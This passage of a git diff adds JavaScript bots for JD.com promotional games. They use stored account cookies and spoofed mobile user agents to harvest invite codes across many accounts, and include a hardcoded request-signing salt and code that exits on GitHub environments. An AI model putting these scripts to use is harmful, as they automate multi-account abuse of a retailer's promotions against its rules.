'Accept-Encoding': `gzip, deflate, br`, + Host: `wq.jd.com`, + 'Accept-Language': `zh-cn`, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + }, + }; + } + + return new Promise(resolve => { + $.get( + JXNC_taskurl('query', `type=1`), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`京喜农场 API请求失败,请检查网路重试`); + } else { + data = data.match(/try\{Query\(([\s\S]*)\)\;\}catch\(e\)\{\}/)[1]; + if (safeGet(data)) { + data = JSON.parse(data); + if (data["ret"] === 0) { + if (data.active) { + let shareCodeJson = { + 'smp': data.smp, + 'active': data.active, + 'joinnum': data.joinnum, + }; + console.log(`注意:京喜农场 种植种子发生变化的时候,互助码也会变!!`); + console.log(`【京东账号${$.index}(${$.UserName})京喜农场】` + JSON.stringify(shareCodeJson)); + } else { + console.log(`【京东账号${$.index}(${$.UserName})京喜农场】未选择种子,请先去京喜农场选择种子`); + } + } + } else { + console.log(`京喜农场返回值解析异常:${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + } + ); + }) +} + +function getJdPet(){ + const JDPet_API_HOST = "https://api.m.jd.com/client.action"; + + function jdPet_Url(function_id, body = {}) { + body["version"] = 2; + body["channel"] = "app"; + return { + url: `${JDPet_API_HOST}?functionId=${function_id}`, + body: `body=${escape( + JSON.stringify(body) + )}&appid=wh5&loginWQBiz=pet-town&clientVersion=9.0.4`, + headers: { + Cookie: cookie, + "User-Agent": $.isNode() + ? process.env.JD_USER_AGENT + ? process.env.JD_USER_AGENT + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" + : $.getdata("JDUA") + ? $.getdata("JDUA") + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + Host: "api.m.jd.com", + "Content-Type": "application/x-www-form-urlencoded", + }, + }; + } + return new Promise(resolve => { + $.post(jdPet_Url("initPetTown"), async (err, resp, data) => { + try { + if (err) { + console.log("东东萌宠: API查询请求失败 ‼️‼️"); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + data = JSON.parse(data); + + const initPetTownRes = data; + + message = `【京东账号${$.index}】${$.nickName}`; + if ( + initPetTownRes.code === "0" && + initPetTownRes.resultCode === "0" && + initPetTownRes.message === "success" + ) { + $.petInfo = initPetTownRes.result; + if ($.petInfo.userStatus === 0) { + /*console.log( + `【提示】京东账号${$.index}${$.nickName}萌宠活动未开启请手动去京东APP开启活动入口:我的->游戏与互动->查看更多开启` + );*/ + return; + } + + console.log( + `【京东账号${$.index}(${$.UserName})京东萌宠】${$.petInfo.shareCode}` + ); + + } else if (initPetTownRes.code === "0") { + console.log(`初始化萌宠失败: ${initPetTownRes.message}`); + } else { + console.log("shit"); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }) +} +async function getJdZZ() { + const JDZZ_API_HOST = "https://api.m.jd.com/client.action"; + function getTaskList() { + return new Promise(resolve => { + $.get(taskZZUrl("interactTaskIndex"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.taskList = data.data.taskDetailResList; + if ($.taskList.filter(item => !!item && item['taskId']=== 3) && $.taskList.filter(item => !!item && item['taskId']=== 3).length) { + console.log(`【京东账号${$.index}(${$.UserName})的京东赚赚好友互助码】${$.taskList.filter(item => !!item && item['taskId']=== 3)[0]['itemId']}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) + } + + function taskZZUrl(functionId, body = {}) { + return { + url: `${JDZZ_API_HOST}?functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.1.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'http://wq.jd.com/wxapp/pages/hd-interaction/index/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } + } + + await getTaskList() +} +async function getPlantBean() { + const JDplant_API_HOST = "https://api.m.jd.com/client.action"; + + async function plantBeanIndex() { + $.plantBeanIndexResult = await plant_request("plantBeanIndex"); //plantBeanIndexBody + } + + function plant_request(function_id, body = {}) { + return new Promise(async (resolve) => { + $.post(plant_taskUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log("种豆得豆: API查询请求失败 ‼️‼️"); + console.log(`function_id:${function_id}`); + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); + } + + function plant_taskUrl(function_id, body) { + body["version"] = "9.0.0.1"; + body["monitor_source"] = "plant_app_plant_index"; + body["monitor_refer"] = ""; + return { + url: JDplant_API_HOST, + body: `functionId=${function_id}&body=${escape( + JSON.stringify(body) + )}&appid=ld&client=apple&area=5_274_49707_49973&build=167283&clientVersion=9.1.0`, + headers: { + Cookie: cookie, + Host: "api.m.jd.com", + Accept: "*/*", + Connection: "keep-alive", + "User-Agent": $.isNode() + ? process.env.JD_USER_AGENT + ? process.env.JD_USER_AGENT + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" + : $.getdata("JDUA") + ? $.getdata("JDUA") + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "Accept-Language": "zh-Hans-CN;q=1,en-CN;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded", + }, + }; + } + + function getParam(url, name) { + const reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i"); + const r = url.match(reg); + if (r != null) return unescape(r[2]); + return null; + } + + async function jdPlantBean() { + await plantBeanIndex(); + // console.log(plantBeanIndexResult.data.taskList); + if ($.plantBeanIndexResult.code === "0") { + const shareUrl = $.plantBeanIndexResult.data.jwordShareInfo.shareUrl; + $.myPlantUuid = getParam(shareUrl, "plantUuid"); + console.log(`【京东账号${$.index}(${$.UserName})种豆得豆】${$.myPlantUuid}`); + + } else { + console.log( + `种豆得豆-初始失败: ${JSON.stringify($.plantBeanIndexResult)}` + ); + } + } + + await jdPlantBean(); +} +async function getJDFruit() { + async function initForFarm() { + return new Promise((resolve) => { + const option = { + url: `${JD_API_HOST}?functionId=initForFarm`, + body: `body=${escape( + JSON.stringify({version: 4}) + )}&appid=wh5&clientVersion=9.1.0`, + headers: { + accept: "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cache-control": "no-cache", + cookie: cookie, + origin: "https://home.m.jd.com", + pragma: "no-cache", + referer: "https://home.m.jd.com/myJd/newhome.action", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "same-site", + "User-Agent": $.isNode() + ? process.env.JD_USER_AGENT + ? process.env.JD_USER_AGENT + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" + : $.getdata("JDUA") + ? $.getdata("JDUA") + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "Content-Type": "application/x-www-form-urlencoded", + }, + }; + $.post(option, (err, resp, data) => { + try { + if (err) { + console.log("东东农场: API查询请求失败 ‼️‼️"); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (safeGet(data)) { + $.farmInfo = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); + } + + async function jdFruit() { + await initForFarm(); + if ($.farmInfo.farmUserPro) { + console.log( + `【京东账号${$.index}(${$.UserName})京东农场】${$.farmInfo.farmUserPro.shareCode}` + ); + + } else { + /*console.log( + `初始化农场数据异常, 请登录京东 app查看农场0元水果功能是否正常,农场初始化数据: ${JSON.stringify( + $.farmInfo + )}` + );*/ + } + } + + await jdFruit(); +} +async function getJoy(){ + function taskUrl(functionId, body = '') { + let t = Date.now().toString().substr(0, 10) + let e = body || "" + e = $.md5("aDvScBv$gGQvrXfva8dG!ZC@DA70Y%lX" + e + t) + e = e + Number(t).toString(16) + return { + url: `${JD_API_HOST}?uts=${e}&appid=crazy_joy&functionId=${functionId}&body=${escape(body)}&t=${t}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Referer': 'https://crazy-joy.jd.com/', + 'origin': 'https://crazy-joy.jd.com', + 'Accept-Encoding': 'gzip, deflate, br', + } + } + } + let body = {"paramData": {}} + return new Promise(async resolve => { + $.get(taskUrl('crazyJoy_user_gameState', JSON.stringify(body)), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success && data.data && data.data.userInviteCode) { + console.log(`【京东账号${$.index}(${$.UserName})crazyJoy】${data.data.userInviteCode}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//闪购盲盒 +async function getSgmh(timeout = 0) { + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `https://api.m.jd.com/client.action`, + headers : { + 'Origin' : `https://h5.m.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html`, + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + }, + body : `functionId=interact_template_getHomeData&body={"appId":"1EFRXxg","taskToken":""}&client=wh5&clientVersion=1.0.0` + } + $.post(url, async (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + const invites = data.data.result.taskVos.filter(item => item['taskName'] === '邀请好友助力'); + console.log(`【京东账号${$.index}(${$.UserName})闪购盲盒】${invites && invites[0]['assistTaskDetailVo']['taskToken']}`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +//财富岛 +function getCFD(showInvite = true) { + function taskUrl(function_path, body) { + return { + url: `https://m.jingxi.com/jxcfd/${function_path}?strZone=jxcfd&bizCode=jxcfd&source=jxcfd&dwEnv=7&_cfd_t=${Date.now()}&ptag=138631.26.55&${body}&_ste=1&_=${Date.now()}&sceneval=2&g_login_type=1&g_ty=ls`, + headers: { + Cookie: cookie, + Accept: "*/*", + Connection: "keep-alive", + Referer:"https://st.jingxi.com/fortune_island/index.html?ptag=138631.26.55", + "Accept-Encoding": "gzip, deflate, br", + Host: "m.jingxi.com", + "User-Agent":`jdpingou;iPhone;3.15.2;14.2.1;ea00763447803eb0f32045dcba629c248ea53bb3;network/wifi;model/iPhone13,2;appBuild/100365;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2015_311210;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148`, + "Accept-Language": "zh-cn", + }, + }; + } + return new Promise(async (resolve) => { + $.get(taskUrl(`user/QueryUserInfo`), (err, resp, data) => { + try { + const { + iret, + SceneList = {}, + XbStatus: { XBDetail = [], dwXBRemainCnt } = {}, + ddwMoney, + dwIsNewUser, + sErrMsg, + strMyShareId, + strPin, + } = JSON.parse(data); + console.log(`【京东账号${$.index}(${$.UserName})财富岛】${strMyShareId}`) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} +//领现金 +function getJdCash() { + function taskUrl(functionId, body = {}) { + return { + url: `https://api.m.jd.com/client.action?functionId=${functionId}&body=${escape(JSON.stringify(body))}&appid=CashRewardMiniH5Env&appid=9.1.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'http://wq.jd.com/wxapp/pages/hd-interaction/index/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } + } + return new Promise((resolve) => { + $.get(taskUrl("cash_mob_home",), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code===0 && data.data.result){ + console.log(`【京东账号${$.index}(${$.UserName})签到领现金】${data.data.result.inviteCode}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +async function getShareCode() { + console.log(`======账号${$.index}开始======`) + await getJDFruit() + await getJdPet() + await getPlantBean() + await getJdFactory() + await getJxFactory() + await getJxNc() + await getJdZZ() + await getJoy() + await getSgmh() + await getCFD() + await getJdCash() + console.log(`======账号${$.index}结束======\n`) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape( + JSON.stringify(body) + )}&client=wh5&clientVersion=9.1.0`, + headers: { + Cookie: cookie, + origin: "https://h5.m.jd.com", + referer: "https://h5.m.jd.com/", + "Content-Type": "application/x-www-form-urlencoded", + "User-Agent": $.isNode() + ? process.env.JD_USER_AGENT + ? process.env.JD_USER_AGENT + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" + : $.getdata("JDUA") + ? $.getdata("JDUA") + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + }; +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_gjlh.js b/jd_gjlh.js new file mode 100644 index 0000000..0dbe24f --- /dev/null +++ b/jd_gjlh.js @@ -0,0 +1,339 @@ +/* +[task_local] +#4月京东国际联合活动 +31 1 10-18/3 4 * jd_gjlh.js, tag=4月京东国际联合活动, enabled=true + +from https://github.com/KingRan/KR/blob/main/jd_gjlh.js + */ +const $ = new Env('4月京东国际联合活动'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +$.configCode = "0fa7512ffa1742b5a5f29c1c63bd9a6e"; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + console.log('入口下拉:https://prodev.m.jd.com/mall/active/48Ki4bRbQFE4izpBis95dxZJSsTq/index.html') + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdmodule(); + //await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + + +async function jdmodule() { + let runTime = 0; + do { + await getinfo(); //获取任务 + $.hasFinish = true; + await run(); + runTime++; + } while (!$.hasFinish && runTime < 10); + await getinfo(); + console.log("开始抽奖"); + for (let x = 0; x < $.chanceLeft; x++) { + await join(); + await $.wait(1500) + } +} + +//运行 +async function run() { + try { + for (let vo of $.taskinfo) { + if (vo.hasFinish === true) { + continue; + } + if (vo.taskName == '每日签到') { + 